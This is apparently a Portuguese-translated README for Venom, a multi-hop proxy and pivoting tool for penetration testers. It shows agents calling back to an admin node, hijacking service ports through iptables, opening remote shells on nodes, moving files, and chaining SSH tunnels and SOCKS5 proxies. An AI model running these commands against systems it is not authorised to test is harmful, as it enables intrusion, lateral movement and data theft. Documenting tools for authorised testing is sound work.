
Venom - Um Proxy de Múltiplos Saltos para Testadores de Penetração
O Venom é uma ferramenta de proxy multi-nível desenvolvida em Go, projetada para testadores de penetração.
O Venom pode conectar múltiplos nós e, em seguida, usar esses nós como trampolins para construir proxies multi-nível.
Os testadores de penetração podem usar o Venom para rotear facilmente o tráfego de rede para várias camadas de redes internas e gerenciar os nós proxy de forma simples.
Esta ferramenta é destinada exclusivamente a pesquisas de segurança e fins educacionais. O usuário assume toda a responsabilidade legal e relacionada decorrente do uso desta ferramenta! O autor não assume qualquer responsabilidade legal ou relacionada!
Como dispositivos IoT (arquiteturas arm/mips/...) geralmente têm recursos limitados, para reduzir o tamanho do binário, os binários compilados para ambientes IoT neste projeto não suportam reutilização de porta e túnel SSH, e para reduzir o uso de memória, o número de conexões simultâneas e o tamanho do buffer são limitados.
Você pode baixar diretamente os executáveis compilados na release
Se você deseja compilar este projeto a partir do código fonte, precisa instalar go >= 1.11 e então executar os comandos abaixo
go get -u github.com/Dliv3/Venom/...
# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom
# 编译好的二进制文件存放在当前目录下的release文件夹中
./build.sh
Vídeo de demonstração no Youtube: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
Os nós admin e agent podem escutar conexões ou iniciar conexões
admin escuta porta, agent inicia conexão:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent escuta porta, admin inicia conexão:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
O agent fornece dois métodos de reutilização de porta
Através da funcionalidade de reutilização de porta fornecida pelo Venom, no Windows você pode reutilizar portas de serviços como apache, mysql, etc., mas não pode reutilizar portas de serviços como RDP, IIS por enquanto. No Linux, você pode reutilizar a maioria das portas de serviço. A porta reutilizada ainda pode fornecer seu serviço original normalmente.
Primeiro método de reutilização de porta
# 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
Segundo método de reutilização de porta
# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
Este método de reutilização de porta configura regras iptables na máquina local, redirecionando o tráfego da reuse-port para lport, que é então distribuído pelo agent.
Observe que se o programa for encerrado com sinais sigterm ou sigint (kill ou ctrl-c), o programa pode limpar as regras iptables automaticamente. Se o agent for morto com kill -9, as regras iptables não podem ser limpas automaticamente e precisam ser limpas manualmente, pois o programa agent não pode lidar com o sinal sigkill.
Para evitar que as regras iptables não sejam limpas automaticamente, impedindo o testador de penetração de acessar o serviço na porta 80, o segundo método de reutilização de porta usa iptables -m recent para controlar se as regras de encaminhamento iptables estão ativadas, através de um pacote TCP especial.
A implementação aqui faz referência a https://threathunter.org/topic/594545184ea5b2f5516e2033
# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# 连接agent节点
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
O Venom fornece funcionalidade de criptografia de comunicação entre nós. O usuário pode especificar uma senha através da opção -passwd, que é usada para gerar a chave necessária para a criptografia AES.
# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
(admin node) >>> help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
A representa o nó admin, números representam nós agent
O diagrama de topologia abaixo mostra que o nó admin está conectado ao nó 1, o nó 1 está conectado aos nós 2 e 4, e o nó 2 está conectado ao nó 3
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
Observe que para operar em um nó recém-adicionado, você precisa primeiro executar o comando show no nó admin para sincronizar a topologia de rede e os números dos nós.
(admin node) >>> goto 1
(node 1) >>>
Após usar goto para um nó, você pode usar os comandos que serão apresentados a seguir.
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
O nó 1 se conecta à porta 9999 de 192.168.0.103
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
No nó 1, escute a porta 9997 e, em seguida, execute ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 em outra máquina para conectar ao nó 1
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
Execute ./agent_linux_x64 -lport 9999 em 192.168.0.104, e o nó 3 estabelece um túnel SSH via sshconnect para conectar à porta 9999 de 192.168.0.104. Você pode usar senha ou chave privada SSH para autenticação.
(node 1) >>> goto 3
(node 3) >>> sshconnect [email protected]:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
Envia /tmp/test.pdf local para /tmp/test2.pdf no nó 1
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to node 1: /tmp/test2.pdf
this file is too large(>100M), do you still want to upload it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
Baixa o arquivo /tmp/test2.pdf do nó 1 para /tmp/test3.pdf local
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from node 1: /tmp/test3.pdf
this file is too large(>100M), do you still want to download it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
Após executar o comando socks com sucesso, uma porta será aberta localmente no nó admin, como a porta 7777 mencionada acima. Use a porta 7777 para realizar o proxy socks5.
lforward encaminha a porta local 8888 do nó admin para a porta 8888 do nó 1
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward encaminha a porta 8889 de 192.168.204.103 na rede do nó 1 para a porta 8889 local do nó admin
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889
script/port_reuse.py para ativar as regras de reutilização de porta definidas pelo agent no host de destino.